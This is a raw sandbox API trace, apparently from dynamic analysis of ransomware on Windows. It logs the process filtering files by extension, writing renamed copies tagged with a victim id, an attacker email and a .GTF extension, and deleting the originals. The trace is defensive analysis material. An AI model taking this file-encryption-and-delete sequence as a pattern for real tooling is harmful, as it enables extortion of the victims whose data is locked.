	[0167.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0167.927] lstrlenW (lpString=".zip") returned 4
	[0167.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.927] lstrlenW (lpString=".rar") returned 4
	[0167.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.927] lstrlenW (lpString=".bz2") returned 4
	[0167.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.927] lstrlenW (lpString=".7z") returned 3
	[0167.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0167.927] lstrlenW (lpString=".dbf") returned 4
	[0167.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0167.927] lstrlenW (lpString=".1cd") returned 4
	[0167.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0167.927] lstrlenW (lpString=".jpg") returned 4
	[0167.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.927] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0167.927] lstrlenW (lpString="J0107026.WMF") returned 12
	[0167.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0167.968] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=7632) returned 1
	[0167.968] CloseHandle (hObject=0x560) returned 1
	[0167.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 0x220
	[0167.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0167.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0167.969] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.969] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0167.971] GetLastError () returned 0x0
	[0167.971] ReadFile (in: hFile=0x560, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x1dd0, lpOverlapped=0x0) returned 1
	[0167.973] WriteFile (in: hFile=0x528, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1de0, lpOverlapped=0x0) returned 1
	[0167.974] ReadFile (in: hFile=0x560, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.974] WriteFile (in: hFile=0x528, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.974] SetEndOfFile (hFile=0x528) returned 1
	[0167.974] CloseHandle (hObject=0x528) returned 1
	[0167.975] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.975] SetEndOfFile (hFile=0x560) returned 1
	[0167.978] CloseHandle (hObject=0x560) returned 1
	[0167.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0167.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 1
	[0167.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0167.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0167.979] lstrlenW (lpString=".doc") returned 4
	[0167.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.979] lstrlenW (lpString=".docx") returned 5
	[0167.980] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0167.980] lstrlenW (lpString=".pdf") returned 4
	[0167.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.980] lstrlenW (lpString=".xls") returned 4
	[0167.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.980] lstrlenW (lpString=".xlsx") returned 5
	[0167.980] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0167.980] lstrlenW (lpString=".ppt") returned 4
	[0167.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0167.980] lstrlenW (lpString=".zip") returned 4
	[0167.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.980] lstrlenW (lpString=".rar") returned 4
	[0167.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.980] lstrlenW (lpString=".bz2") returned 4
	[0167.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.980] lstrlenW (lpString=".7z") returned 3
	[0167.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0167.980] lstrlenW (lpString=".dbf") returned 4
	[0167.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0167.980] lstrlenW (lpString=".1cd") returned 4
	[0167.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0167.980] lstrlenW (lpString=".jpg") returned 4
	[0167.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0167.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0167.980] lstrlenW (lpString=".doc") returned 4
	[0167.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.980] lstrlenW (lpString=".docx") returned 5
	[0167.981] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0167.981] lstrlenW (lpString=".pdf") returned 4
	[0167.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.981] lstrlenW (lpString=".xls") returned 4
	[0167.981] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.981] lstrlenW (lpString=".xlsx") returned 5
	[0167.981] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0167.981] lstrlenW (lpString=".ppt") returned 4
	[0167.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0167.981] lstrlenW (lpString=".zip") returned 4
	[0167.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.981] lstrlenW (lpString=".rar") returned 4
	[0167.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.981] lstrlenW (lpString=".bz2") returned 4
	[0167.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.981] lstrlenW (lpString=".7z") returned 3
	[0167.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0167.981] lstrlenW (lpString=".dbf") returned 4
	[0167.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0167.981] lstrlenW (lpString=".1cd") returned 4
	[0167.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0167.981] lstrlenW (lpString=".jpg") returned 4
	[0167.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.981] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0167.981] lstrlenW (lpString="J0107042.WMF") returned 12
	[0167.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0167.982] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=9048) returned 1
	[0167.982] CloseHandle (hObject=0x560) returned 1
	[0167.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 0x220
	[0167.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0167.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0167.983] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.983] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0167.984] GetLastError () returned 0x0
	[0167.984] ReadFile (in: hFile=0x560, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x2358, lpOverlapped=0x0) returned 1
	[0167.985] WriteFile (in: hFile=0x528, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x2360, lpOverlapped=0x0) returned 1
	[0167.987] ReadFile (in: hFile=0x560, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.987] WriteFile (in: hFile=0x528, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.987] SetEndOfFile (hFile=0x528) returned 1
	[0167.987] CloseHandle (hObject=0x528) returned 1
	[0167.987] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.987] SetEndOfFile (hFile=0x560) returned 1
	[0167.990] CloseHandle (hObject=0x560) returned 1
	[0167.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0167.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 1
	[0167.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0167.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0167.992] lstrlenW (lpString=".doc") returned 4
	[0167.992] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.992] lstrlenW (lpString=".docx") returned 5
	[0167.992] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0167.992] lstrlenW (lpString=".pdf") returned 4
	[0167.992] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.992] lstrlenW (lpString=".xls") returned 4
	[0167.992] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.992] lstrlenW (lpString=".xlsx") returned 5
	[0167.992] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0167.992] lstrlenW (lpString=".ppt") returned 4
	[0167.992] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0167.992] lstrlenW (lpString=".zip") returned 4
	[0167.992] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.992] lstrlenW (lpString=".rar") returned 4
	[0167.992] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.992] lstrlenW (lpString=".bz2") returned 4
	[0167.992] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.992] lstrlenW (lpString=".7z") returned 3
	[0167.992] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0167.992] lstrlenW (lpString=".dbf") returned 4
	[0167.992] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0167.992] lstrlenW (lpString=".1cd") returned 4
	[0167.992] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0167.992] lstrlenW (lpString=".jpg") returned 4
	[0167.992] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0167.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0167.993] lstrlenW (lpString=".doc") returned 4
	[0167.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.993] lstrlenW (lpString=".docx") returned 5
	[0167.993] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0167.993] lstrlenW (lpString=".pdf") returned 4
	[0167.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.993] lstrlenW (lpString=".xls") returned 4
	[0167.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.993] lstrlenW (lpString=".xlsx") returned 5
	[0167.993] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0167.993] lstrlenW (lpString=".ppt") returned 4
	[0167.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0167.993] lstrlenW (lpString=".zip") returned 4
	[0167.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.993] lstrlenW (lpString=".rar") returned 4
	[0167.993] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.993] lstrlenW (lpString=".bz2") returned 4
	[0167.993] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.993] lstrlenW (lpString=".7z") returned 3
	[0167.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0167.993] lstrlenW (lpString=".dbf") returned 4
	[0167.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0167.993] lstrlenW (lpString=".1cd") returned 4
	[0167.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0167.993] lstrlenW (lpString=".jpg") returned 4
	[0167.993] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.994] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0167.994] lstrlenW (lpString="J0107090.WMF") returned 12
	[0167.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0167.994] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=14132) returned 1
	[0167.994] CloseHandle (hObject=0x560) returned 1
	[0167.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 0x220
	[0167.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0167.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0167.995] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.995] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0167.998] GetLastError () returned 0x0
	[0167.998] ReadFile (in: hFile=0x560, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x3734, lpOverlapped=0x0) returned 1
	[0168.000] WriteFile (in: hFile=0x528, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x3740, lpOverlapped=0x0) returned 1
	[0168.001] ReadFile (in: hFile=0x560, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.001] WriteFile (in: hFile=0x528, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.001] SetEndOfFile (hFile=0x528) returned 1
	[0168.001] CloseHandle (hObject=0x528) returned 1
	[0168.001] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.001] SetEndOfFile (hFile=0x560) returned 1
	[0168.004] CloseHandle (hObject=0x560) returned 1
	[0168.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 1
	[0168.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0168.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0168.005] lstrlenW (lpString=".doc") returned 4
	[0168.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.005] lstrlenW (lpString=".docx") returned 5
	[0168.005] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0168.005] lstrlenW (lpString=".pdf") returned 4
	[0168.005] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.005] lstrlenW (lpString=".xls") returned 4
	[0168.005] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.005] lstrlenW (lpString=".xlsx") returned 5
	[0168.005] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0168.005] lstrlenW (lpString=".ppt") returned 4
	[0168.005] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0168.005] lstrlenW (lpString=".zip") returned 4
	[0168.005] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.005] lstrlenW (lpString=".rar") returned 4
	[0168.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.005] lstrlenW (lpString=".bz2") returned 4
	[0168.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.005] lstrlenW (lpString=".7z") returned 3
	[0168.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0168.006] lstrlenW (lpString=".dbf") returned 4
	[0168.006] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0168.006] lstrlenW (lpString=".1cd") returned 4
	[0168.006] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0168.006] lstrlenW (lpString=".jpg") returned 4
	[0168.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0168.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0168.006] lstrlenW (lpString=".doc") returned 4
	[0168.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.006] lstrlenW (lpString=".docx") returned 5
	[0168.006] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0168.006] lstrlenW (lpString=".pdf") returned 4
	[0168.006] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.006] lstrlenW (lpString=".xls") returned 4
	[0168.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.006] lstrlenW (lpString=".xlsx") returned 5
	[0168.006] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0168.006] lstrlenW (lpString=".ppt") returned 4
	[0168.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
